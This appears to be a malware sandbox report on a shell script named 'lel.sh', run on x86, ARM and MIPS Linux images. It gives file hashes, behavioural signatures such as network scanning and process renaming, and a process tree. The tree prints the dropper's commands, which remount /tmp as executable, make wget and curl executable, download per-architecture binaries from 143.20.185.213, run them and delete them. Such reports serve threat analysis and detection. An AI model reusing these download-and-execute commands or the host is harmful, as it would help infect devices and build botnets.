Analysis
- max time kernel
39s - max time network
67s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
25/09/2026, 09:32
Static task
static1
Behavioral task
behavioral1
Sample
lel.sh
Resource
ubuntu1804-amd64-20260513-en
14 signatures
40 seconds
Behavioral task
behavioral2
Sample
lel.sh
Resource
debian9-armhf-20260513-en
15 signatures
40 seconds
Behavioral task
behavioral3
Sample
lel.sh
Resource
debian9-mipsbe-20260513-en
9 signatures
40 seconds
Behavioral task
behavioral4
Sample
lel.sh
Resource
debian9-mipsel-20260513-en
9 signatures
40 seconds
General
- Target lel.sh
- Size 1KB
- Sample260925-lhzexsysfx
- SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
- MD5 b3b0de5e2a68cac75d43add4b8460d50
- SHA1 ab2c32d426c454a92457b494e6e333bedd739349
- SHA512 df4360b7a965d164ccb1b94ecda5ff3d31e63246f8a87923f4271e4d52045708fef0fc3390aab917833b5b29a41d1b25965fb23d1b87409747b1a5b38c40353e
- TLSH T1DF31E482A1948B72DE4DCE577A698D0C70D962C0A8D1FF0ADCFA65B7DD4EE483003E61
- MD5 SHA1 SHA512 TLSH
Score
9/10
Malware Config
Signatures
- Contacts a large (6152) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 12 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 760 chmod 780 chmod 783 chmod 786 chmod 789 chmod 792 chmod 796 chmod 739 chmod 767 chmod 770 chmod 776 chmod 799 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/x64s 761 lel.sh /tmp/mips 771 lel.sh - Renames itself 1 IoCs
pid Process 771 mips - Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself upnpd 771 mips -
description ioc Process File opened for reading /proc/filesystems mount File opened for reading /proc/filesystems mount File opened for reading /proc/self/mountinfo mount File opened for reading /proc/filesystems mount File opened for reading /proc/self/mountinfo mount File opened for reading /proc/filesystems cp File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 768 wget 769 curl 771 mips 773 rm - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/busybox cp File opened for modification /tmp/x64s wget File opened for modification /tmp/x64s curl File opened for modification /tmp/mips wget File opened for modification /tmp/mips curl
Processes
-
/tmp/lel.sh/tmp/lel.sh1⤵
- Executes dropped EXE
PID:725 -
/bin/mountmount -t tmpfs tmpfs /var/run2⤵
- Reads runtime system information
PID:727
-
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/bin/mountmount -o "remount,rw,exec" /var/run2⤵
- Reads runtime system information
PID:730
-
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/bin/mountmount -o "remount,rw,exec" /tmp2⤵
- Reads runtime system information
PID:735
-
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/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:737
-
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:739
-
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/usr/bin/wgetwget http://143.20.185.213/x64s2⤵
- Writes file to tmp directory
PID:741
-
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/usr/bin/curlcurl -O http://143.20.185.213/x64s2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:754
-
-
/bin/chmodchmod +x busybox lel.sh systemd-private-fa3713049f734d2e9f885c80b9c363ad-systemd-timedated.service-MGFfqj x64s2⤵
- File and Directory Permissions Modification
PID:760
-
-
/tmp/x64s./x64s x64s2⤵PID:761
-
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/bin/rmrm -rf x64s2⤵PID:766
-
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:767
-
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/usr/bin/wgetwget http://143.20.185.213/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:768
-
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/usr/bin/curlcurl -O http://143.20.185.213/mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:769
-
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/bin/chmodchmod +x busybox lel.sh mips2⤵
- File and Directory Permissions Modification
PID:770
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/tmp/mips./mips mips2⤵
- Renames itself
- Changes its process name
- System Network Configuration Discovery
PID:771
-
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
PID:773
-
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:776
-
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/usr/bin/wgetwget http://143.20.185.213/mpsl2⤵PID:777
-
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/usr/bin/curlcurl -O http://143.20.185.213/mpsl2⤵PID:778
-
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/bin/chmodchmod +x busybox lel.sh libcow.so2⤵
- File and Directory Permissions Modification
PID:780
-
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/tmp/mpsl./mpsl mpsl2⤵PID:781
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/bin/rmrm -rf mpsl2⤵PID:782
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:783
-
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/usr/bin/wgetwget http://143.20.185.213/armv72⤵PID:784
-
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/usr/bin/curlcurl -O http://143.20.185.213/armv72⤵PID:785
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/bin/chmodchmod +x busybox lel.sh libcow.so2⤵
- File and Directory Permissions Modification
PID:786
-
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/tmp/armv7./armv7 armv72⤵PID:787
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/bin/rmrm -rf armv72⤵PID:788
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:789
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/usr/bin/wgetwget http://143.20.185.213/armv52⤵PID:790
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/usr/bin/curlcurl -O http://143.20.185.213/armv52⤵PID:791
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/bin/chmodchmod +x busybox lel.sh libcow.so2⤵
- File and Directory Permissions Modification
PID:792
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/tmp/armv5./armv5 armv52⤵PID:793
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/bin/rmrm -rf armv52⤵PID:794
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/bin/chmodchmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl2⤵
- File and Directory Permissions Modification
PID:796
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/usr/bin/wgetwget http://143.20.185.213/aarch642⤵PID:797
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/usr/bin/curlcurl -O http://143.20.185.213/aarch642⤵PID:798
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/bin/chmodchmod +x busybox lel.sh libcow.so2⤵
- File and Directory Permissions Modification
PID:799
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/tmp/aarch64./aarch64 aarch642⤵PID:800
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/bin/rmrm -rf aarch642⤵PID:802
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/busybox
- Size 857KB
- SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
- MD5 a39fe8036e559ce804e26518061e59ff
- SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
- SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
- SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
- TLSH T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/mips
- Size 837KB
- SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
- MD5 83e660d9e4215b3e51d949259f832140
- SHA1 a3bbc45e88b6a5b1e11d594b4ae3294d5d9be7b6
- SHA512 b3b24a5d04285f7d4151986328a1aaa82486a4d730af3410018d1a75428a6ca036a5e25b74d5678332a2d484d96bc2eca61fc9edd682a25c42b32529698b8030
- SSDEEP 24576:Q0kerzMd7EAKZnfiC4pjGwn/6aBInEMSm0:ArC4p3nUEn
- TLSH T1EB057D53F7318F54D360D27908E3876596A625A20BE395C6A37DC2203A1077D6CAFFE8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/x64s
- Size 951KB
- SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
- MD5 b71854f1604a029e5ff8f628c56285de
- SHA1 acea454e0cb3668cfdacf23480781aa042a6b748
- SHA512 25dcb08a45e107a2af9a408a0bf2b4d8501faa41284ff95a03cc146c61b76a84d66a651090b330c5582ff46707235f53321c534a8b610be41ffa891ae13ba1f4
- SSDEEP 12288:uRt0XrjAphNgIifGxKkamon66VT8ddH4dmPOF2NFjVRU2aay6UKuHXQRq3:ufdhNgwgmo6+JF2NFjVRJxRq3
- TLSH T137257B1AB2E2B0BCD017C03007DFDA629775F07726226E7B36C49A352D5FDA52369B21
- MD5 SHA1 SHA512 SSDEEP TLSH